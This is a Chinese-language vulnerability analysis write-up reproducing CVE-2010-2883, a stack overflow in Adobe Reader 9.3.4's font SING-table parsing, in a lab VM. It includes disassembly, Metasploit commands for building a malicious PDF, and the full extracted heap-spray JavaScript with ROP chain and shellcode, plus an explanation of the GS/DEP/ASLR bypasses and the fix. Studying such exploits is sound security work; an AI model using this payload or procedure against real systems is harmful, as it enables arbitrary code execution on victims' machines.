泉哥《漏洞战争-软件漏洞分析精要》中的第一个漏洞,栈溢出漏洞。这里跟着泉哥书里的讲解来复现这个漏洞,并理解利用原理。
简述
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致任意代码执行。
测试环境
|
|
操作系统 |
WidowsXP SP3 简体中文版 |
虚拟机 |
VMware Workstation 15 Pro |
动态调试器 |
OllyDbg |
反汇编器 |
IDA Pro |
漏洞软件 |
Adobe Reader 9.3.4 |
攻击样本生成 |
Metasploit msf5 |
PDF提取 |
PDFStreamDumper |
相关结构简介
TTF文件
TrueTypeFont是由美国苹果公司和微软公司共同开发的一种计算机轮廓字体(曲边描边字)类型标准。这种类型字体文件的扩展名是.ttf,现在很多字体已经改用OpenType格式,但是大多数免费廉价的第三方字体仍使用纯TrueType格式。
TTF 包含有一个表目录结构 TableDirectory,其中有一个 TableEntry 结构列表,而TableEntry结构包含了所指表的资源标记、校验和、偏移量和每个表的大小。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| typedef struct { Fixed sfntversion; USHORT numTables; USHORT searchRange; USHORT entrySelector; USHORT rangeShift; TableEntry entries[numTables]; } TableDirectory;
typedef sturct { char tag[4]; ULONG checkSum; ULONG offset; ULONG length; } TableEntry;
|
SING表结构
SING表结构如下,可见,在uniqueName字段前有6个USHORT类型和两个SHORT类型字段,因此可知uniqueName字段相对SING表起始的偏移为16字节(0x10)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| typedef struct { USHORT tableVersionMajor; USHORT tableVersionMinor; USHORT glyphletVersion; USHORT embeddinginfo; USHORT mainGID; USHORT unitsPerEm; SHORT vertAdvance; SHORT vertOrigin; BYTE[28] uniqueName; BYTE[16] METAMD5; BYTE nameLength; BYTE[] baseGlyphName; } SINGTable;
|
分析漏洞函数
漏洞出现在Adobe Reader 9.3.4 的CoolType.dll中。使用IDA打开CoolType.dll。查看字符串,可找到”SING”字符串,查看交叉引用,第二个即为有漏洞的函数(这里自定义为Vulnerable)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| .rdata:0819DB4C aSing db 'SING',0 ; DATA XREF: sub_8015AD9+D2↑o .rdata:0819DB4C ; vulnerable+7B↑o ... .text:0803DCF9 ; __unwind { // loc_8184A54 .text:0803DCF9 push ebp .text:0803DCFA sub esp, 104h ; 分配栈空间0x104 .text:0803DD00 lea ebp, [esp-4] .text:0803DD04 mov eax, ___security_cookie .text:0803DD09 xor eax, ebp .text:0803DD0B mov [ebp+108h+var_4], eax .text:0803DD11 push 4Ch .text:0803DD13 mov eax, offset loc_8184A54 .text:0803DD18 call __EH_prolog3_catch .text:0803DD1D mov eax, [ebp+108h+arg_C] .text:0803DD23 mov edi, [ebp+108h+arg_0] .text:0803DD29 mov ebx, [ebp+108h+arg_4] .text:0803DD2F mov [ebp+108h+var_130], edi .text:0803DD32 mov [ebp+108h+var_138], eax .text:0803DD35 call sub_804172C .text:0803DD3A xor esi, esi .text:0803DD3C cmp dword ptr [edi+8], 3 .text:0803DD40 ; try { .text:0803DD40 mov [ebp+108h+var_10C], esi .text:0803DD43 jz loc_803DF00 .text:0803DD49 mov [ebp+108h+var_124], esi .text:0803DD4C mov [ebp+108h+var_120], esi .text:0803DD4F cmp dword ptr [edi+0Ch], 1 .text:0803DD4F ; } // starts at 803DD40 .text:0803DD53 ; try { .text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1 .text:0803DD57 jnz loc_803DEA9 .text:0803DD5D push offset aName ; "name" .text:0803DD62 push edi ; int .text:0803DD63 lea ecx, [ebp+108h+var_124] .text:0803DD66 mov [ebp+108h+var_119], 0 .text:0803DD6A call sub_80217D7 .text:0803DD6F cmp [ebp+108h+var_124], esi .text:0803DD72 jnz short loc_803DDDD .text:0803DD74 push offset aSing ; "SING" .text:0803DD79 push edi ; int .text:0803DD7A lea ecx, [ebp+108h+var_12C] ; 指向SING表入口 .text:0803DD7D call sub_8021B06 ; 处理SING表 .text:0803DD82 mov eax, [ebp+108h+var_12C] ; eax指向SING表起始地址 .text:0803DD85 cmp eax, esi .text:0803DD85 ; } // starts at 803DD53 .text:0803DD87 ; try { .text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2 .text:0803DD8B jz short loc_803DDC4 .text:0803DD8D mov ecx, [eax] ; 字体资源版本号,这里为1.0版本 .text:0803DD8F and ecx, 0FFFFh .text:0803DD95 jz short loc_803DD9F ; 这里跳转 .text:0803DD97 cmp ecx, 100h .text:0803DD9D jnz short loc_803DDC0 .text:0803DD9F .text:0803DD9F loc_803DD9F: ; CODE XREF: vulnerable+9C↑j .text:0803DD9F add eax, 10h ; 相对sing表入口偏移0x10处找到uniqueName .text:0803DDA2 push eax ; uniqueName域 .text:0803DDA3 lea eax, [ebp+108h+var_108] .text:0803DDA6 push eax ; 目的地址是一段固定大小的栈空间 .text:0803DDA7 mov [ebp+108h+var_108], 0 .text:0803DDAB call strcat ; 栈溢出
|
触发栈溢出的是0x0803DDA8处的stracat函数。strcat函数原型如下
1 2
| char *strcat(char *dest, const char *src); 从左往右第一个参数为目的地址,第二个参数为源地址
|
可以看到,在 使用**strcat()**函数将uniqueName复制到[ebp+108h+var_108]的栈空间时,并未对uniqueName字符串长度进行检测,直接将其复制到固定大小的栈上,可以造成栈溢出。
样本Exploit分析
使用msf生成漏洞利用样本
在msf中使用如下命令生成PDF样本,这里生成的样本若攻击成功,将会弹出calc.exe 计算器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| msf5 > search cve-2010-2883 ... ... msf5 > use exploit/windows/fileformat/adobe_cooltype_sing msf5 exploit(windows/fileformat/adobe_cooltype_sing) > show info ... ... msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec payload => windows/exec msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe cmd => calc.exe msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve-2010-2883.pdf filename => cve-2010-2883.pdf msf5 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
[*] Creating 'cve-2010-2883.pdf' file... [+] cve-2010-2883.pdf stored at /root/.msf4/local/cve-2010-2883.pdf
|
漏洞利用演示
将生成的pdf文件复制到虚拟机中,先用浏览器打开,可以看到貌似是一个普通的pdf文件
然后使用存在漏洞的Adobe Reader 9.3.4打开它,如果利用成功,将会弹出计算器。
样本分析
首先使用PDFStreamDumper加载样本pdf文件。选择Search_For -> TTF Fonts,左边的Objects窗口就会将对应的object选中,点进去,如下。选中object单机右键鼠标选择“Save Decompressed Stream”选项即可保存到本地。
对照上面介绍的TableEntry结构,第一个字段是标记字符串,所以搜索“SING”字符串,即可定位到结构体,如下。可以看到检验和字段为0xD9BCC8B5,offset字段为“0x000001C”,length字段为“0x00001DDF”
offset字段表示相对文件(TTF文件)的偏移,因此,在TTF文件偏移0x11C处即可找到SING表,SING表数据长度为0x1DDF。
SING表再偏移0x10即可找到uniqueName域。执行strcat后,会将uniqueName域起始的部分复制到ebp指定的栈空间上,直至遇到NULL空字节为止。
样本动态调试分析
用OD打开Adobe Reader,在触发栈溢出漏洞的0x0803DDAB下断点。F9运行起来,将样本拖进Adobe Reader,OD就会在断点处停下(在断点前可能会有几次异常,shift+F9忽略就行了)。
strcat函数的参数如下,样本pdf的uniqueName字段的内容将会被复制到0x0012E468起始的栈空间上。
执行完strcat后,在数据窗口中跟随0x0012E468,对刚才复制进去的内容下内存访问断点。
执行下去将看到如下指令
可以看到,EAX寄存器中的地址0x0012e6d0正是位于上面复制进栈中的样本数据payload的地址空间中的,而0x0012e6d0里存储的值为0x4A80CB38,那么接下来程序就会开始执行0x4A80CB38处的代码。样本payload正是通过这个call [EAX]指令开始控制程序的执行流程进行ROP的。而0x4A80CB38地址位于icucnv36.dll模块中。该位置指令如下:
执行add ebp和leave指令后,ESP的值变为0x12E4E0,可以看到此时的栈顶已经落在payload中了,栈顶数据为payload中写好的0x4A82A714,这个地址同样位于icucnv36.dll模块中。
此时return,即可返回到payload中写好的地址0x4A82A714,然后开始ROP。利用0x4A82A714地址处的pop esp这个gadget,将栈迁移到payload中写好的0x0C0C0C0C。
ROP指令2
此时,栈中的数据即为利用Heap Spary写在堆中的shellcode。HeapSpary是通过嵌入到pdf中的javascript实现的。以下是从PDF中解压出来并经过还原的JavaScript代码。
1 2 3 4 5 6 7 8 9 10 11 12
| var unescape_funciton = unescape; var shellcode = unescape_funciton('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc8da%u74d9%uf424%u315b%ub1c9%uba31%ufab4%udcb6%u5331%u8318%u04c3%u5303%u18a0%u2043%u5e20%ud9ac%u3fb0%u3c24%u7f81%u3452%u4fb1%u1810%u3b3d%u8974%u49b6%ube51%ue77f%uf187%u5480%u90fb%ua702%u7328%u683b%u723d%u957c%u26cc%ud1d5%ud763%uaf52%u5cbf%u2128%u81b8%u40f8%u17e9%u1b73%u9929%u1750%u8160%u12b5%u3a3a%ue80d%ueabd%u115c%ud311%ue051%u136b%u1b55%u6d1e%ua6a6%uaa19%u7cd5%u29af%uf67d%u9617%udb7c%u5dce%u9072%u3a85%u2796%u3149%uaca2%u966c%uf623%u324a%uac68%u63f3%u03d4%u730b%ufcb7%uffa9%ue855%u5dc3%uef33%ud856%uef71%ue368%u9825%u6859%udfaa%ubb65%u108f%ue62c%ub8b9%u72e9%ua4f8%ua909%ud13e%u5889%u26be%u2891%u63bb%uc015%ufcb1%ue6f0%ufc66%u84d0%u6ee9%u64b8%u168c%u795b'); var block = unescape_funciton("%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c"); while (block.length + 20 + 8 < 65536) block += block; SP = block.substring(0, (0x0c0c - 0x24) / 2); SP += shellcode; SP += block; slackspace = SP.substring(0, 65536 / 2); while (slackspace.length < 0x80000) slackspace += slackspace; bigblock = slackspace.substring(0, 0x80000 - (0x1020 - 0x08) / 2); var memory = new Array(); for (count = 0; count < 0x1f0; count++) memory[count] = bigblock + "s";
|
代码大概的意思就是按照固定对齐的大小,循环创建堆块,堆块内容为有效shellcode加padding填充,最后由于构造好的填充对齐之类的,在0x0C0C0C0C这个地址一定会是某个堆块中的shellcode起始。这样,就可以准确的跳进shellcode中执行写好的ROP指令。
接着ROP指令2,retn后依次执行以下ROP指令
ROP指令3
ROP指令4
ROP指令5
如上,ROP指令5将CreateFileA函数的地址pop到了eax寄存器中,然后接下来retn后执行jmp [eax]指令跳转到CreateFileA函数中。跳转时,栈中的参数值如下所示。根据参数定义,这样子会创建一个名为iso88591的文件。
CreateFileA函数返回后,又通过同样的方式构造ROP指令来调用CreateFileMapping函数,创建文件内存映射,调用CreateFileMapping函数时的栈中参数如下:
同样方式继续调用MapViewOfFile函数
最后通过类似的方式调用memcpy函数,其中,目的地址就是前面MapViewOfFile函数返回的地址,而源地址就是真正的Shellcode代码。
总结以上ROP过程。
- 使用CreateFileA函数和CreateFileMapping函数获得一个具有可读写可执行权限的文件对象的句柄
- 使用MapViewOfFile函数将该文件对象映射到进程地址
- 使用memcpy函数将Shellcode复制到MapViewOfFile函数返回的一段可读可写可执行的内存段,这样就可以绕过DEP保护,从而可以执行Shellcode。
同时,构造ROP链中用到的gadget指令均位于不受ASLR保护的icucnv36.dll模块,因此也可以顺利绕过ASLR执行ROP链。
memcpy函数retn时,栈顶的值就是刚才复制的目的地址,这样就会retn到shellcode中,执行shellcode了!
样本Exploit技术总结
概括一下这个样本中的Exploit技术。
- 通过strcat函数造成栈溢出
- 通过接下来的在函数return前的call [EAX]使程序进入第一条ROP指令,从而绕过GS保护成功控制执行流
- 然后gadget,将栈迁移到堆喷射构造出来的0x0C0C0C0C开始更长功能更强大的ROP(为什么不在上面的原始栈上直接完整ROP呢?应该是原始栈上的可用的空间不够,因此要迁移到堆上进行完整的ROP)
- 通过ROP,将真正的Shellcode复制进一段具有可读可写可执行权限的内存中,进而绕过DEP保护成功执行Shellcode。
- 以上ROP中用到的gadget都是icucnv36.dll模块,而这个模块是没有开启ASLR保护的,这也是ROP得以成功运行的关键。
漏洞修复
官方的修复中,添加了对字符串长度的检测和控制,并使用strncat代替原先的strcat,同时根据字符串长度大小动态分配空间。